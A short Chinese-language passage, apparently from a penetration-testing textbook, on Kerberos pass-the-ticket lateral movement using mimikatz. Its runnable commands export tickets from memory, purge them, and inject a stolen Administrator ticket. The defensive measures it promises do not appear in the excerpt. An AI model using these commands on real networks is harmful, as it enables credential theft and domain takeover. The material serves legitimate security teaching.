票据传递

要想使用mimikatz的哈希传递功能,必须具有本地管理员权限。 mimikatz同样提供了不需要 本地管理员权限进行横向渗透测试的方法,例如票据传递(PassThe Ticket,PTT。本节将通过实 验分析票据传递攻击的思路,并给出防范措施。

执行以上命令后,会在当前目录下出现多个服务的票据文件,例如krbtgt、cifs、ldap等。

```
mimikatz.exe "privilege::debug" "sekurlsa::tickets /export"
```

清除内存中的票据:

```
kerberos::purge
```

将高权限的票据文件注入内存后

```
Mimikatz.exe "kerberos::ptt" "[0;804ad]-2-0-60a10000-Administrator@krbtgt-HACK.COM.kirbi"
```